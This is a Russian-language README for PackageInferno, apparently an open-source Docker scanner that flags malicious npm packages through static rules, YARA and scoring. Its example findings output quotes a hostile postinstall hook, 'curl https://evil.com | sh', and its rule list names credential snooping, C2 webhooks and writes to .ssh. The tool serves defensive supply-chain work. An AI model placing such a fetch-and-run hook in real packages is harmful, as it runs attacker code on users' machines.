
Публичный сканер пакетов для сообщества
Молниеносно простой, Docker‑ориентированный сканер цепочки поставок npm. Один файл compose запускает:
Это версия только для контейнеров. Проект можно масштабировать с помощью EC2, SQS и RDS. Большая часть инфраструктуры уже подготовлена в наборе инструментов.
scan.yml (белые списки, пороги, YARA)scan_runs) готова к работе~/.aws)docker-compose.yml – сервисы: db, enumerator, fetcher, analyzer, dashboard, init-dbenumerator/ – Node-воркер, строящий NDJSON-очередьfetcher/ – Node-воркер, загружающий tar-архивы (+ выгрузка в S3, если включено)analyzer/ – Python-анализатор статики (+ опциональный YARA inline)dashboard/ – Streamlit-приложение (порт 8501)infra/migrations.sql – основная схема БД (packages, versions, findings, scores, indexes)infra/20251106_scan_runs.sql – таблица истории сканированийscan.yml – конфигурация анализа (правила, оценка, белые списки, YARA)scripts/run_pipeline.sh – запуск enumerate → fetch → analyzescripts/init_db.sh – инициализация схемы БДscripts/test_setup.sh – автоматическая проверка установкиПредварительные требования: Docker Desktop (или движок) с Compose v2.
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
Клонирует репозиторий в ~/package-inferno и выводит инструкции для начала работы.
Загрузите и запустите предварительно собранные контейнеры из GitHub Container Registry:
# Клонируйте репозиторий (для конфигурационных файлов и скриптов)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# Запустите с предварительно собранными образами
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
Доступные образы:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:mainЗапустите тестовый скрипт для проверки установки:
./scripts/test_setup.sh
Он выполнит:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# откройте http://localhost:8501
Результаты попадают в ./out/findings/*.findings.json и в таблицу findings при включённой БД.
PackageInferno поддерживает несколько стратегий сканирования в зависимости от ваших целей:
Укажите конкретные пакеты для анализа:
# Одной командой с seeds
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# Или из файла
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
Как я тестировал изначально: Использовал SEEDS="is-odd,is-even" для быстрой проверки.
Сканируйте пакеты с постраничной загрузкой из реестра npm:
# Очистите предыдущие запуски
rm -rf downloads/* out/*
# Сканировать 2 страницы по 10 пакетов (20 пакетов)
export MAX_CHUNKS=2 # Количество страниц
export CHUNK_LIMIT=10 # Пакетов на страницу
unset SEEDS # Важно: отключить режим seeds
# Запустите каждый шаг отдельно для лучшей видимости
docker compose run --rm enumerator # Обнаруживает и ставит в очередь
docker compose run --rm fetcher # Загружает tar-архивы
docker compose run --rm analyzer # Сканирует на угрозы
Пример вывода:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
Сканируйте весь реестр npm:
export MAX_CHUNKS=0 # 0 = неограниченно
export CHUNK_LIMIT=100 # Увеличенные партии для эффективности
./scripts/run_pipeline.sh
Предупреждение: Это будет выполняться часами/днями и просканирует сотни тысяч пакетов. Следите за дисковым пространством и размером базы данных.
Enumerator сохраняет состояние в ./out/enumerator_state.json с позицией курсора:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
Просто перезапустите конвейер, и он возобновит с последнего курсора:
./scripts/run_pipeline.sh # Автоматически возобновляет
Чтобы принудительно начать новое сканирование:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
Из двухстраничного сканирования 22 пакетов, вот что обнаружил PackageInferno:
-- Лучшие подозрительные пакеты по баллам
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- Результаты:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
Почему rendition оказался таким подозрительным?
url_outside_allowlist - Домены не из белого спискаsuspicious_pattern - Шаблоны оболочки/evaladvanced_obfuscation - Hex-кодирование, XOR, строковые массивыbig_base64_blob - Большие закодированные полезные нагрузкиurl_in_code - Встроенные URLСистема оценки (настраивается в scan.yml) агрегирует эти результаты для получения балла риска и метки (clean, suspicious или malicious).
Откройте http://localhost:8501 после запуска docker compose up -d dashboard
Возможности:
Прямой SQL-доступ для пользовательского анализа:
# Подключитесь к базе данных
docker exec -it pi-postgres psql -U piuser -d packageinferno
Полезные запросы:
-- Пакеты с попытками кражи учётных данных
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- Все найденные C2/вебхуки
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- Попытки typosquatting
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- Пакеты с нативными бинарниками
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
Результаты также сохраняются в структурированном JSON в ./out/findings/:
# Просмотр результатов для конкретного пакета
cat out/findings/[email protected] | jq .
# Подсчёт результатов по серьёзности
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# Извлечение всех найденных C2-URL
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
Если вы хотите хранить артефакты в S3:
package-inferno-tarballs (сырые tar-архивы npm)package-inferno-findings (выходные данные анализатора)~/.aws содержит действительные учётные данные (на основе профиля или переменных окружения).export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # необязательно; или полагайтесь на env creds
Compose монтирует ~/.aws в fetcher и analyzer. Если LOCAL_ONLY=false, fetcher выгружает tar-архивы в S3_TARBALLS. Если S3_FINDINGS установлен, analyzer выгружает JSON результатов после локальной записи.
Пример минимальной политики IAM (прикрепите к пользователю/роли, которую используете):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
Основные настройки находятся в scan.yml. Основные моменты:
analysis.allow_domains – домены, которые не будут вызывать "outside allowlist"analysis.allowlist.build_tools – регулярные выражения для безвредных шагов сборкиanalysis.yara.* – включение встроенного YARA (по умолчанию включено), путь к правилам, ограничения по размеру и времениscoring.rule_weights и scoring.thresholds – настройка порогов "suspicious/malicious"Переменные окружения контейнеров:
DAYS (по умолчанию 30), CHUNK_LIMIT (по умолчанию 100), MAX_CHUNKS (по умолчанию 5)SEEDS, SEEDS_FILE – seed-имена пакетовLOCAL_ONLY=true (очередь в файл), DB_URL для дедупликации по БДLOCAL_ONLY=false для выгрузки tar-архивов в S3S3_TARBALLS, AWS_REGION, AWS_PROFILEMAX_EXTRACT_BYTES=0 для неограниченного извлеченияS3_FINDINGS, URL БД предварительно настроен для локального compose:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson (а также может добавлять версии со статусом "queued" в БД)../downloads и выгружает их в S3, если настроено../out/findings. Если настроена БД, добавляет результаты и баллы.enumerator/src/enumerator.js)Назначение: Обнаруживает пакеты npm для сканирования и строит рабочую очередь.
Что он делает:
SEEDS или файл SEEDS_FILE_changes для недавних обновлений_all_docs (с возобновляемым курсором)./out/fetch_queue.ndjson или SQSКлючевые переменные окружения:
SEEDS="pkg1,pkg2" - Имена пакетов через запятуюSEEDS_FILE - Путь к текстовому файлу с одним пакетом на строкуMAX_CHUNKS=5 - Ограничение постраничного просмотра (0 = без ограничений)CHUNK_LIMIT=100 - Пакетов на страницу APIDB_URL - Подключение к Postgres для дедупликацииПример использования:
# Сканирование конкретных пакетов
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# Сканирование из файла
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)Назначение: Загружает tar-архивы npm из реестра.
Что он делает:
./out/fetch_queue.ndjson (или SQS)./downloads/ как [email protected]S3_TARBALLS)Ключевые переменные окружения:
LOCAL_ONLY=true - Пропустить выгрузку в S3 (локальный режим)S3_TARBALLS - Имя S3 bucket для хранения tar-архивовDOWNLOAD_DIR=./downloads - Локальный выходной каталогMAX_RETRIES=5 - Количество повторных попыток HTTPФормат ключа S3: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)Назначение: Движок статического анализа, обнаруживающий вредоносные паттерны в пакетах.
Что он делает:
package.json для метаданных и хуков жизненного циклаscan.yml./out/findings/ и добавляет в БДПравила обнаружения (полный список см. в analyzer/src/analyzer.py):
lifecycle_script - Рискованные хуки install/postinstallurl_outside_allowlist - Сетевые вызовы на неразрешённые доменыc2_webhook - Известные конечные точки эксфильтрации (Discord, Slack, Telegram)env_snoop - Доступ к ключам AWS, токенам, паролямwrites_outside_pkg - Запись ФС в .ssh, .npmrc, системные каталогиtyposquat_detected - Имя пакета, похожее на популярные пакетыadvanced_obfuscation - Hex, XOR, строковые массивы, сплющивание потока управленияyara_match - Срабатывание правил YARA (вредоносное ПО, эксплойты, веб-шеллы)phishing_form - Формы сбора учётных данныхnative_binary_present - Исполняемые файлы PE/ELF/Mach-OКлючевые переменные окружения:
MAX_EXTRACT_BYTES=0 - Лимит размера извлечения (0 = без ограничений)SCAN_YML=/app/scan.yml - Путь к конфигурационному файлуDB_URL - Подключение к Postgres для хранения результатовS3_FINDINGS - S3 bucket для выгрузки результатовФормат вывода (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "High-risk postinstall hook: shell_spawn, downloader"
}
}
]
}
1. Обнаружение на основе паттернов (добавьте в analyzer/src/analyzer.py):
# Определите регулярное выражение
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# Добавьте в функцию analyze_file_bytes()
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... существующий код ...
# Ваша пользовательская проверка
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': 'Detected dangerous-function call'
}
})
return out
2. Добавьте веса оценки (scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # Ваше новое правило
# ... существующие правила ...
thresholds:
suspicious: 7
malicious: 12
3. Обновите функцию оценки (analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... существующие правила ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... остальная часть функции ...
1. Создайте файл пользовательских правил (yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "Detects custom threat pattern"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. Обновите scan.yml:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # Укажите путь к вашим правилам
max_file_size_mb: 10
timeout_seconds: 30
3. Подмонтируйте пользовательские правила в docker-compose.yml:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
Добавьте доверенные домены в scan.yml, чтобы уменьшить количество ложных срабатываний:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # Добавьте ваш домен
Добавьте в белый список легитимные команды сборки:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db запущен, затем повторно выполните ./scripts/init_db.sh.~/.aws/credentials, AWS_REGION и политику/разрешения bucket.scan.yml (analysis.yara.enabled: false).CHUNK_LIMIT или постепенно увеличивать MAX_CHUNKS.SCANNING_GUIDE.md| Режим | Сценарий использования | Скорость | Охват | Команда |
|---|
| Конкретные seeds | Тестирование/анализ известных пакетов | Самый быстрый | Целевой | SEEDS="pkg1,pkg2" |
| Небольшая партия | Проверка настройки, пробное сканирование | Быстрый | 10-100 пакетов | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| Полный реестр | Комплексный аудит цепочки поставок | Часы-дни | 2M+ пакетов | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| Лента изменений | Мониторинг новых релизов (включено автоматически) | Реальное время | Последние обновления | Встроено |
AWS_REGIONDB_URL для записи результатов и баллов в Postgres